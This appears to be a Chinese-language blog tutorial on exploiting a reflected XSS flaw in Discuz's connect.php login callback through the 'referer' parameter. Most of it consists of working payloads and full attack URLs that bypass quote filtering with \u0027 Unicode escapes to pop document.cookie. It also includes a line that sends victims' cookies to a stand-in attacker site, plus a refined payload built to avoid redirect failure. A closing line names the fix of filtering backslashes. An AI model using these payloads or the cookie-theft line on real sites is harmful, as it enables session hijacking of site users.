<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'; alert(document.cookie);a='';", 3000);</script>

1.在这个样例（如今早已补）中希望大家也要体会到：XSS的上下文比較重要，怎样依据上下文，利用未过滤的字符，合理的构造，才是成功的关键（要有足够猥琐的思路）

http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=aaaaaaaaaaa&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802



2.这是測试注冊的一个账户，我们去F12看 源代码，第一个思路就是看上下文，在上下文中发现原始的上下文，然后闭合和绕过原来的上下文，源代码之后，ctrl+f 搜索自己能够控制输入的地方（如账号，个人信息等）



3.看到：

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa';", 3000);</script>

...

<a href ="http://www.discuz.net/./aaaaaaaaaaa" >

4.两处的上下文都须要 双引號或者单引號的闭合，能够试试 aaaaaaaaaaa" 作为账户名注冊一个 来试试，或者直接字啊URL模拟你和这种信息，看看有没有报错，经过实验，是不行的，是的，不可能给我们留这麽大的漏洞



5.然后我们回头看看第一个是作为函数參数的，setTimeout(可运行脚本,延时时间)函数，也就是说这个函数会把函数的第一个參数作为脚本运行，那我们试下闭合单引號， 在 URL 中 &referfer=aaaaaaaaaaa'&oauth_signature....



6.可是这里已经被过滤了。变成了window.location.href ='http://www.discuz.net/./aaaaaaaaaaa'';",3000) 这里单引號是行不通的。



7.要相信还是自己的思路不够猥琐，我们看到setTimeout()的第一个參数是字符串，我们前面的教程里说过一次，JS字符串中，字符还能够表示为unicode的形式，即：单引號还能够表示为\u0027或者\x27,呵呵，希望来了吧，还有允许字符的不同编码的闭合方式，lz过滤了\没？ 试试便知,



在URL:

&referfer=aaaaaaaaaaa\&oauth_signature....



结果：

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa\';", 3000);</script>

大喜：没有过滤\就是其转义性还能够被client使用

以下还是老思路：



把原来引號里面的单引號都变成\u0027或者\x27

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027; alert(document.cookie);a=\u0027\u0027;", 3000);</script>

8.在URL：

http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027;alert(document.cookie);&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802



运行后，直接弹出cookie, 呵呵，还有啥说的，这里的已经是POC了！！！



9.假设把原来的alert() 换一下，直接指向自已的xss平台就真的Ok了

如 换成 window.location.href='www.attacker-site.com?c='+document.cookie+';'    这样会跳转到还有一个页面，造成载入失效



所以要改进：

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>

上面类似于我曾经写的文章点击劫持， 改动client的href代码，相同替换掉单引號，和加号

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>

在URL：

http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802



这样就不会由于跳转而载入失败了



看这些猥琐的样例中，事实上终于都是嵌套这反射的思想，然后就是依据上下文绕过的思想，熟能生巧，让我们尽情的Xss去吧



这个修复方案就是过滤\ 就Ok了



关于Json XSS （http://blog.csdn.net/l_f0rm4t3d/article/details/23851071） 请看我写过的这篇